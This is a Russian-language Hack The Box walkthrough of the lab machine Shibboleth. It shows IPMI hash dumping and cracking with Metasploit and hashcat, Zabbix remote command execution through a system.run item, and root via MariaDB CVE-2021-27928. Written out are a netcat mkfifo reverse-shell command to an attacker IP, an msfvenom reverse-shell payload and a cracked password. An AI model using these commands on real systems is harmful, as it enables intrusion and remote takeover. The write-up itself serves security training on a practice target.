Найти в Дзене

HTB Shibboleth. Прохождение машины на Hack The Box

Оглавление
Прохождение машины Shibboleth на HTB (Hack The Box)
Прохождение машины Shibboleth на HTB (Hack The Box)

Выкладываем наше прохождение Medium машины Shibboleth на HTB (Hack The Box). Из данной статьи вы узнаете, что доступные UDP сервисы также могут стать проблемой в безопасности. Выясните как можно получить хеши пользователей через IPMI. Научитесь эксплуатировать уязвимости в Zabbix для получения точки опоры, а затем CVE-2021-27928 в MySQL для получения контроля над root.

Разведка

Nmap

Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов):

nmap -sCV -p- 10.10.11.124

Nmap нашел только один открытый TCP порт – 80 (HTTP).

-2

На 80 порту происходит перенаправление наhttp://shibboleth.htb,добавим полученные данные в /etc/hosts:

10.10.11.124 shibboleth.htb

Поиск доменов

Используя полученную информацию о доменах, можно запустить поиск поддоменов с помощью gobuster. Будем использовать режим vhost, словарь subdomains-top1million-5000.txt из пакета seclists и опцию -r для перенаправления (без этой опции будет выводить все домены с 302 ошибкой).

gobuster vhost -u http://shibboleth.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r

-3

Добавим найденные домены в /etc/hosts:

10.10.11.124 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb

shibboleth.htb TCP 80

Сайт shibboleth.htb представляет собой сайт команды дизайнеров:

-4

Сайт содержит много текста и картинок не представляющего никакого интереса, все ссылки либо не работают, либо ведут на разные разделы этой же страницы.

Форма Contact Us не работает:

-5

Программное обеспечение

Wappalyzer не находит на сайте ничего. Кроме Apache 2.4.41 из результатов nmap о ПО сайта ничего неизвестно.

-6

Перебор директорий

Для перебора директорий сайта будем использовать feroxbuster.

feroxbuster -u http://shibboleth.htb

-7

Находим 2 директории, но в них ничего интересного:

-8
-9

monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb TCP 80

Все три поддомена ведут на один и тот же сайт с формой входа Zabbix:

-10

Креды по умолчанию и admin:admin не подходят.

Выполним поиск эксплойтов для Zabbix. Обнаружим уязвимость «Zabbix 5.x SQL Injection / Cross Site Scripting» и «Bypass login»:

Pocs Bypass login - access dashborad:
http://domain/zabbix/zabbix.php?action=dashboard.list
http://doamin/zabbix/zabbix.php?action=problem.view&ddreset=1
http://doamin/zabbix/overview.php?ddreset=1
http://doamin/zabbix/hostinventoriesoverview.php?ddreset=1
http://doamin/zabbix/screenconf.php

К сожалению, эксплойт не работает и придётся искать другие пути.

-11

Nmap UDP Scan

Выполним сканирование UDP портов с помощью nmap (параметр -sU отвечает за сканирование UDP):

nmap -sU 10.10.11.124 -T4

Nmap нашел открытый UDP порт – 623 (IPMI).

-12

Взлом Zabbix

Анализ IPMI

IPMI (Intelligent Platform Management Interface) используется для удаленного подключения и управления сервером. С помощью IPMI можно:
Проводить мониторинг физического состояния оборудования, например, проверять температуру отдельных составляющих системы, уровни напряжения, скорость вращения вентиляторов;
Восстанавливать работоспособность сервера в автоматическом или ручном режиме (удаленная перезагрузка системы, включение/выключение питания, загрузка ISO-образов и обновление программного обеспечения);
Управлять периферийными устройствами;
Вести журнал событий;
Хранить информацию об используемом оборудовании.

Для получения версии IPMI можно воспользоваться скриптом Metasploit:

use auxiliary/scanner/ipmi/ipmi_version

-13

Используется IPMI версии 2.

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval CVE-2013-4786

IPMI 2.0 использует аутентификацию RMCP+ Authenticated Key-Exchange Protocol (RAKP), которая позволяет удаленным злоумышленникам получать хэши паролей и проводить автономные атаки с подбором пароля, получая HMAC из двух ответов RAKP от Baseboard Management Controllers (BMC).

По сути, вы можете запросить у сервера хэши MD5 и SHA1 любого имени пользователя, и если имя пользователя существует, эти хэши будут отправлены обратно.

Для получения хэшей существует модуль Metasploit:

use auxiliary/scanner/ipmi/ipmi_dumphashes

-14

Получен хэш пользователя Administrator. Выполним его взлом.

Взлом IPMI хэша

Для взлома IPMI хэша воспользуемся утилитой hashcat в режиме 7300 (IPMI2 RAKP HMAC-SHA1), с параметром –user (для того, чтобы можно было подбирать с именем пользователя) и со словарём rockyou:

-15

Обзор Zabbix

Используя полученные учетные данные Administrator:ilovepumkinpie1 входим в Zabbix:

-16

Изучая Zabbix находим упоминание shibboleth.htb (на странице Monitoring->Hosts).

-17

На странице Configuration->Hosts видим следующую информацию:

-18

RCE на Zabbix

Проводя дальнейший анализ содержимого хоста мониторинга shibboleth.htb находим интересные Items:

-19

Также можно создать свой item:

-20

В качестве ключа можно выбрать system.run[command, <mode>], который по описанию выполнить команду на хосте:

-21

Создадим новый item с key system.run[id]:

-22

Нажмем кнопку Test для проверки выполнения команды:

-23
-24

Нажмем «Get value» в появившемся окне и получим RCE:

-25

Reverse Shell

Для получения Reverse Shell необходимо использовать следующий ключ:

system.run[rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.147 1337 >/tmp/f,nowait]

Режим nowait позволяет не ждать ответа от команды и создает стабильное подключение.

-26

Запускаем netcat на прослушивание и получаем reverse shell:

-27

Повышение привилегий

Получаем tty shell с помощью команды:

python3 -c 'import pty; pty.spawn("/bin/sh")'

Пытаемся получить user.txt:

-28

Для получения доступа до пользователя «ipmi-svc» используем технику password spraying.

Password spraying — это атака, получения доступа к большому количеству учетных записей пользователей с помощью нескольких часто используемых паролей.
Традиционные атаки грубой силы пытаются получить несанкционированный доступ к одной учетной записи путем подбора пароля. Это может быстро привести к блокировке целевой учетной записи, поскольку часто используемые политики блокировки учетной записи допускают ограниченное количество неудачных попыток (обычно от трех до пяти) в течение установленного периода времени.
Во время атаки Password spraying злоумышленник пытается использовать один часто используемый пароль (например, «Password1» или «Summer2017») для многих учетных записей, прежде чем перейти к следующему паролю.
Кроме того, при нахождении какого-либо пароля злоумышленник может пробовать применять его на различных других ресурсах.

Используя ранее обнаруженный пароль (взломанный из хэша IPMI), получаем доступ к пользователю «ipmi-svc».

Получаем user.txt:

-29

Путь до root

Анализ системы

Выполним поиск сервисов с помощью netstat:

-30

Внутрь смотрит порт 3306 - MySQL.

Выполним анализ конфигурационного файла Zabbix, который находится в /etc/zabbix. В ходе анализа zabbix_server.conf обнаруживаем учетные данные от базы данных:

-31

Попробуем подключиться с учетными данными к MySQL:

-32

Эксплуатация MySQL CVE-2021-27928

При подключении к MySQL получили версию «10.3.25-MariaDB». Попробуем выполнить поиск эксплойтов для данной версии:

-33

Обнаруживаем несколько эксплойтов для CVE-2021-27928 – OS Command Execution.

Следуя инструкции по эксплуатации данной уязвимости создаём payload с помощью msfvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.147 LPORT=4444 -f elf-so -o expl.so

-34

Загружаем expl.so на машину с помощью wget:

-35

Запускаем netcat на прослушивание и выполняем payload:

-36

Получаем shell от root:

-37
-38

Подписывайтесь на наш паблик ВКонтактеTelegramЯндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!

#htb #hackthebox #hacking #hacker #пентест #пентестер #кибербезопасность #secware #информационная безопасность #информационные технологии